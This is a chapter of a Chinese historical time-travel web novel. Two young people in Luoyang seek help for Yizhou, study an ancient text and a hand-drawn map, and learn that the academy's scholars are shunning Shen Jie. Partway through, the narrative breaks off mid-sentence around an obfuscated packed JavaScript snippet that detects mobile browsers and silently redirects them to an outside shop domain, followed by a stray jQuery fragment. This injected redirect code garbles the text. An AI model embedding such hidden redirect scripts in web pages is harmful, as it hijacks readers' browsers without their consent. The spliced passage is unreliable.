作为两个没有任何官职在身的年轻人,孟霁同沈介来洛阳想要办的这个事情,其实并不容易。
沈介最开始的想法是,通过清谈会接触那些身居高位的士人。
可等到他在清谈的圈子里混得风生水起了,却发现这些人整天只专心于谈玄说理。
他们这些清贵世家出身的人,能把道德经里面一个字拎出来,滔滔不绝地讲得天花乱坠,可大抵是弄不清楚自己这个官位到底是管什么的。
这也没什么,须知道,他们可是清官呐!清贵的清,清望的清!
公务嘛,那都是俗务,总有下面那些出身低微的浊官帮他们处理得妥妥帖帖的。
当然,就算他们肯管事,更换刺史、调兵平乱的事情,也得由真正的掌权者才能说了算。
皇帝就是个摆设,大权独揽的是齐王司马冏。
这位齐王倒没有醉心于玄之又玄的清谈,他就务实多了,整天不是琢磨怎么修他那个比皇宫还大的大宫殿,就是揽着美姬听小曲儿。
想见他?也不比登天容易多少。
沈介他们求了很多人,托了很多关系,始终也没能见到这位齐王。
就在孟霁已经开始考虑,能不能通过冲到齐王府邸自首的方式,来博得一个见到齐王的机会时,事情终于有了进展。
往常沈介参加清谈,总是会被主人家留在那里吃了晡食才让他走。
可那天才到申时,他就让匐勒赶着牛车,把他送回国子学了。
他的心情很激动,可在国子学中,走两步就有博士或者学生跟他问好,他就得强行按捺住自己,礼礼貌貌地跟人家回礼。
及至回到自己的屋子前,他才彻底放下伪装,兴奋地冲了进去。
孟霁正躺在榻上,她从早上打完一套拳法后,就躺那儿了,翘着二郎腿,手边一个食盘,里面放着一些果子,手上握着一卷书。
——她是懒得看书的,不过那天沈介借回来几卷郭璞注的《穆天子传》,随口提起里面讲到一些山川地貌,孟霁就来了兴致。
她也不是完全看不懂,就是竖版繁体古文看起来费劲而已。
她还躺着看,一不小心就要睡过去,这一整天都快过去了,那么短的第二卷竟还没看完。
“明彻!”
沈介乍然推门而入,骇了孟霁一大跳,手中竹卷没拿稳,“啪”一下砸她脸上。
“嘶!”
她疼得眼泪都出来了,唬得沈介把要说的话都抛到了脑后,立刻冲过来查看。
“明彻,你没事吧?”
“没事,”孟霁捂着鼻子,眼泪汪汪地看着沈介,“你今天怎么这么早回来?”
沈介见问起这个,笑容就收不住了,“咱们的事情有着落了!”
孟霁“噌”地坐起来,“你找到见齐王的门路了?”
“那倒不是,”沈介随手将榻上东一卷、西一卷的书简收拢起来,“我今日遇见殿中御史桓豹,我把益州眼下的情况都讲给他听了,他答应帮咱们把消息呈报上去!”
“殿中御史?那是能在上面说得上话的官儿吧?”
“是。”沈介笑眯眯地点头。
“如此,益州有救了!”孟霁也喜得从榻上跳起来,她一把拉住沈介的手,“走,咱们出去吃顿好的庆祝庆祝!”
·
既然他们的事情已经有了进展,沈介便也懒得出去应酬了。
他连着推了好几场清谈,整天就在国子学里面等消息。
沈介这一闲下来,就想看书,可他最想看的书,在孟霁手上。
他抱着《穆天子传》的第二卷,眼巴巴地盯着孟霁手中的第三卷,“明彻,那卷你还要看多久。”
“别吵我看书!”孟霁刚又看串了行,有点恼火。
老实说,孟霁是有些挫败感的。
想当年,她一口气看个几十万字的小说简直是小菜一碟。眼下却像是罹患了阅读障碍一般,看两行都费劲。
“可是那卷你都看一个时辰了。”沈介委屈极了。
这也不能怪沈介催促,毕竟那一卷真的很短,不算注疏的话,正文拢共也就千把个字。
就是逐字逐句地看,那也就是几分钟的事。
沈介在一边巴望孟霁半天了,眼见着她好像已经看到末尾了,然后目光又回到了开头!
“你不是说凡世上有的书,你家都有吗?这书难道你没有看过?”似乎是感受到了沈介那如有实质的目光,孟霁终于抬头看了他一眼。
“若是经典,我家自然有,可这书是太康年间才从古坟里挖出来的,我家真的没有。”
沈介一副可怜巴巴的样子,一双眼睛只顾往孟霁手上的竹简上瞟,就像是一个饿急了的孩子,看着人家手里的一碗热汤面,直流口水。
给他这模样一衬,孟霁简直觉得自己是个欺负人的恶霸。
“那你先看吧。”孟霁别开脸,把手上那卷丢给沈介。
沈介如获至宝地接过了书卷,一看孟霁翻倒在榻上生闷气,倒不忙着看了,反而用带笑的声音,柔声问道:“要不,我讲给你听?”
孟霁当即来了精神,一个鲤鱼打挺坐了起来,“你讲!”
“好。”沈介把书卷摊在两人面前的小几上,开始给孟霁讲起来。
“……天子南征,东还。己丑,至于献水……”
他见孟霁听得专注,便忍不住旁征博引起来,“……这个地方《山海经》也提到过,《山海经》说……”
不过孟霁的兴趣似乎根本不在经典上,她按住沈介,“等会儿,你说的这个地方在何处?”
她说着扯过一张素绢。
“喏,你指给我看?”她把素绢递到沈介面前问道。
沈介看向那张素绢,那是老大的一张绢,小几上都放不下,大半垂在榻上,上面约略标记着一些城池的位置,一看便知是大晋版图。
……也不对,这张图看着比大晋舆图可大多了。
看着就像是……一只大公鸡?
再看那手字么,应该是孟霁这两天没事自己画的。
仔细一看吧,有些地名就奇奇怪怪的。
比如汉嘉被写作雅安,朱提被写作昭通,味县被写作曲靖……往北边看,幽州竟还出现了个北京!
这便不提了,里面标记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318426|139263||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的城池山脉的位置,也跟沈介记忆中的九州舆图有些出入。
“明彻,这个好像不大对。洛阳在这里的话,伏牛山应该要挪过来一些。”
“怎么会?咱们从南边往洛阳走的时候,伏牛山就是这个方向呀。”
两人对着地图一通合计,赫然发现,虽然对于九州城池大致的位置,两人是没有分歧的,但具体的位置,他们就有争议了。
“明彻,你信我,我不会记错的。”沈介坚持他的立场。凡他用心记过的,就不可能忘记。
孟霁并不怀疑这一点,“也可能是舆图错了。”
须知道,沈介就算记忆不会出错,可那个年代的舆图却未必有多准确。
至少是不可能有孟霁穿越前,床头上贴的那张正规出版社刊印的全国地图准确。
沈介立即叫冤,“我背的这个,是根据禹贡九州画的图,先贤之作,如何会有错?”
“谁说先贤就不会错了,崇古思想要不得的!”孟霁连连摇头。
咚!咚!咚!
两人正讨论着,门外忽然传来敲门声。
“我去开门。”沈介下榻而去。
室内有屏风挡住,孟霁看不到外面是谁,不过听声音,当是王博士。
孟霁并不打算过去,她跟这种文士没太多共同语言。
但门口王博士那期期艾艾的声音还是传了过来——
“涧松呐,这个……这个……你的事情,国子学上下已经都知道了。咱们国子学这边什么人能进,什么人不能进,涧松你应当知道的。这个、这个你眼下的情况,国子祭酒本想睁只眼闭只眼,可……可别的学生跟他闹起来,祭酒他……他也是没法子。”
王博士的声音磕磕巴巴,像是在说一件极难启齿的事情。
孟霁在地图上逡巡的手指一顿。
知道沈介什么事?
知道他父亲沈雍过世了,所以沈介不能留在国子学了?
没这个说法。
沈雍死了,沈介依旧还是公卿子弟,这不会影响他入国子学的资格。
那就只能是知道沈介曾经受刑的事情了。
须知道,这群士人天天搞的那个清辩,前身乃是汉朝时的“清议”。
——其实就是那些士大夫们,借品评人物、左右乡闾舆论来影响朝中官员任免,以及政策的走向。
其所想要对抗的,就是宦官对于朝政的把控。
不论现在清议的内容变成了什么样子,这些士大夫跟宦官集团的天然对立,却始终是不可能改变的。
所以不管他们如何欣赏沈介的才华,当他们得知沈介是阉人的时候,一切就都不一样了。
沈介既然已受宫刑,将来就是能入朝为官,当的也只能是宦官。
就像前前朝的司马迁,受刑以后,不也一样是改任只能由内廷宦官担任的中书令了吗?
沈介再有盛才,属于士人的那个圈子也没有他的位置了。
而这个王博士今日这个态度找上门来,无非就是表明,这些士人们,已经迫不及待地要跟沈介划清界限了。
屋内榻上,孟霁的脸色沉了下来。